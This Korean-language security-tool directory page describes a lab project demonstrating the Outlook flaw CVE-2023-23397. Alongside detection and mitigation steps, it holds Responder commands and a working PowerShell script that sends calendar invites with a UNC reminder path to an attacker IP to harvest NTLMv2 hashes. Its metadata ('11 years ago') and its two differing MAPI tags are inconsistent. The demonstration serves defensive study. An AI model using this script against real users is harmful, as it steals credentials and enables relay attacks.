Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-23397 — CVE-2023-23397 Outlook 권한 상승 취약점 데모 | Kitploit
도구/GitHubGitHub/gilospy/cve-2023-23397
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubgilospy/cve-2023-23397

CVE-2023-23397

CVE-2023-23397 Outlook 권한 상승 취약점 데모

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-23397 악용 및 완화 데모

📌 개요

이 프로젝트는 Windows용 Microsoft Outlook의 치명적인 제로클릭 NTLM 릴레이 취약점인 CVE-2023-23397의 탐지, 악용 및 완화를 시연합니다. 캘린더 초대를 통해 악용되는 이 취약점은 공격자가 사용자 상호작용 없이 NTLMv2 해시를 탈취할 수 있게 합니다.

🛡️ CVSS 점수: 9.8 (치명적)
🖥️ 영향받는 버전: Outlook 2013, 2016, 2019, Microsoft 365 (2023년 3월 14일 패치 이전)


⚠️ 취약점 세부 정보

Outlook의 캘린더 미리 알림은 PidLidReminderFileParameter MAPI 속성을 통해 사용자 지정 소리를 재생하도록 구성할 수 있습니다. Outlook은 UNC 경로를 검증하지 못하므로 미리 알림이 트리거될 때 원격 SMB 요청이 허용됩니다.

root@kitploit:~
\\attacker-ip\share\sound.wav

이로 인해 NTLMv2 해시가 공격자가 제어하는 서버로 전송되며, 공격자는 이를:

  • 오프라인으로 크랙(비밀번호 복구)할 수 있음
  • 권한 상승을 위한 NTLM 릴레이 공격에 사용할 수 있음

🔍 탐지 방법

MFCMAPI를 사용하여 캘린더 항목을 검사하고 PidLidReminderFileParameter(MAPI 태그 0x851F001F)에 악성 값이 있는지 확인합니다.

단계:

  1. MFCMAPI를 엽니다 → QuickStart > Open Folder > Calendar
  2. Table > Set Columns로 이동합니다
  3. 미리 알림 파일 경로를 보기 위해 속성 태그 0x808A001F를 추가합니다
  4. 침해 지표로 UNC 경로를 찾습니다

🛠️ 완화 기법

1. Microsoft 패치 적용 (권장)

2023년 3월 14일 패치(예: KB5002044)를 설치합니다. 이 패치는 다음을 도입합니다:

  • 미리 알림 파일 경로를 검증하는 IsFileZoneLocalIntranetOrTrusted()
  • 신뢰할 수 있는 도메인을 정의하는 그룹 정책 옵션

테스트 결과:
Outlook은 이벤트 ID 1008을 기록하고 신뢰할 수 없는 SMB 경로에 대한 액세스를 차단합니다.


2. IPsec 네트워크 수준 완화 (임시)

a. 모든 SMB 차단

  • 아웃바운드 TCP 445(SMB) 차단
  • 신뢰할 수 없는 네트워크로의 NTLM 유출 방지

b. 신뢰할 수 있는 IP만 허용

  • 내부 IP 정의(예: 192.168.1.0/24)
  • 내부 SMB 사용을 위한 업무 연속성 유지

📂 사전 구축된 정책: OutlookMitigation.ipsec


💻 프로젝트 설정

환경

시스템사용자 이름비밀번호
Kali Linuxkalikali
Windows 10 VMCVE-2023-23397vbox@123
Email Accountvictim​@exploit.comvbox@123

공격자 (Kali Linux)

root@kitploit:~
sudo apt install responder
sudo responder -I eth0 -v

Kali와 피해자 VM이 동일한 네트워크에 있는지 확인하세요.


피해자 (Windows + Outlook 2013)

  1. 설치:

    • Outlook 2013
    • .NET 2.0
    • hMailServer
    • MFCMAPI
  2. 설정:

    • hMailServer 도메인: exploit.com
    • 이메일 사용자: [email protected]

🚨 악용 (PowerShell 스크립트)

root@kitploit:~
# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
 
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]")  # List of emails

# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem

# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes

# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"

foreach ($email in $emails) {
    $Appointment.Recipients.Add($email) | Out-Null
}

# Save and send the appointment
$Appointment.Save()
$Appointment.Send()

Responder는 피해자 시스템에서 NTLMv2 해시를 캡처합니다.


✅ 검증

탐지

  • MFCMAPI를 사용하여 PidLidReminderFileParameter에 UNC 경로가 포함되어 있는지 확인합니다.

완화

  • 패치 또는 IPsec 정책을 적용합니다.
  • 스크립트를 다시 실행합니다. Outlook에 미리 알림이 표시될 수 있지만 NTLM 해시가 캡처되어서는 안 됩니다.

❗ 제한 사항

  • 모든 SMB 트래픽 차단은 합법적인 서비스(파일 공유, 도메인 인증)에 영향을 줄 수 있습니다.
  • 신뢰할 수 있는 IP를 유지하는 것은 운영상 복잡해질 수 있습니다.
도구 다운로드